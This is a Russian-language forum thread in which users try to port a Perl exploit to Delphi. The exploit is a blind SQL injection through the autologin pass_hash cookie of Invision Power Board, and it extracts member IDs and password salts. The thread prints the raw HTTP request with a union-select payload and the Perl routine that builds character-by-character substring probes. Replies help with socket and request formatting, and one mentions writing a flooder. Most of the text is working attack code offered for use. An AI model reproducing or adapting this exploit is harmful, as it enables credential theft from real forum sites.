В общем сечас пытаюсь делать программой InetCrack А если получится буду делать программу... Вот карочий PERL не знаю что смог вытенуть с сплойта то и вытинул...
попробуй заменить localhost на домен сервера, и в GET запросе добавить http:// GET http://www.site.ru/forum/index.php?act=Login&CODE=autologin HTTP/1.0 Accept: */* Host: site.ru Cookie: member_id=31337420; pass_hash=1%2527+union+select+converge_id,converge _pass_salt,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 +from+ibf_members_converge+where+converge_id%3D1+/* Connection: close
Не фига не чего не возвращает а запрос ка OK. принел но MYSQL не выполняет блин ПАРЮСЬ Я ПАРЮСЬ... Лучше помогите перевести это: Если не трудно перевидет на язык DELPHI... Sub check($) { $n++; status(); $ccheck = $_[0]; $non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D"; $eas="1%2527+OR+%28id%3D"; $pass_hash1 = ($flag)?($non)$eas); $pass_hash2 = "+AND+ascii%28substring%28"; $pass_hash3 = (($flag)?($pass)"legacy_password")).",".$s_num.",1))".$ccheck.") /*"; $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n", $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3); while(<$socket>) { if (/Set-Cookie: session_id=0;/) { return 1; } } return 0; } Или хотя бы эти строки $non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D"; $eas="1%2527+OR+%28id%3D"; $pass_hash1 = ($flag)?($non)$eas); $pass_hash2 = "+AND+ascii%28substring%28"; $pass_hash3 = (($flag)?($pass)"legacy_password")).",".$s_num.",1))".$ccheck.") /*"; $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n", $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3);
В конце пакета незабуть ставить два пробела, и для начала работай с асинхронным сокетом, иначе должны быть спец приемы чтоб получить ответ. Сам парился пока писал флудер.
>В конце пакета незабуть ставить два пробела Наверное ты имел в виду 2 перевода строки (#13#10) На практике надо ставить в конец пакета 1 перевод строки (в RFC 2616 сказано ставить 1)
Вот так будет на билдере: GET http://www.host.ru HTTP/1.0\r\n Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n Accept-Language: ru\r\n User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n Content-Type: application/x-www-form-urlencoded\r\n Host: www.host.ru\r\n \r\n
запрос у тебя слишком длинный, рекомендую убрать все поля кроме Host (это поле нужно, если потом через прокси надо будет работать). конечно иногда сервера игнорят пакеты без User-Agent, но это очень редко
разве это непонятно? %2C - , (запятая) А 0 это нолик. Остальное проще простого. зы Ждемс репутации)))Фучу
AIN если неразобрался в чем дело, то попробуй заместо GET localhost/forum/index.php?act=Login&CODE=autologin HTTP/1.0 зделать GET localhost/forum/index.php?act=Login&CODE=autologin HTTP1.0 должно зароботать.
лол%) вообще-то версии в протоколе хттп обозначаютсся через "/", и то что ты посоветовал уж точно не поможет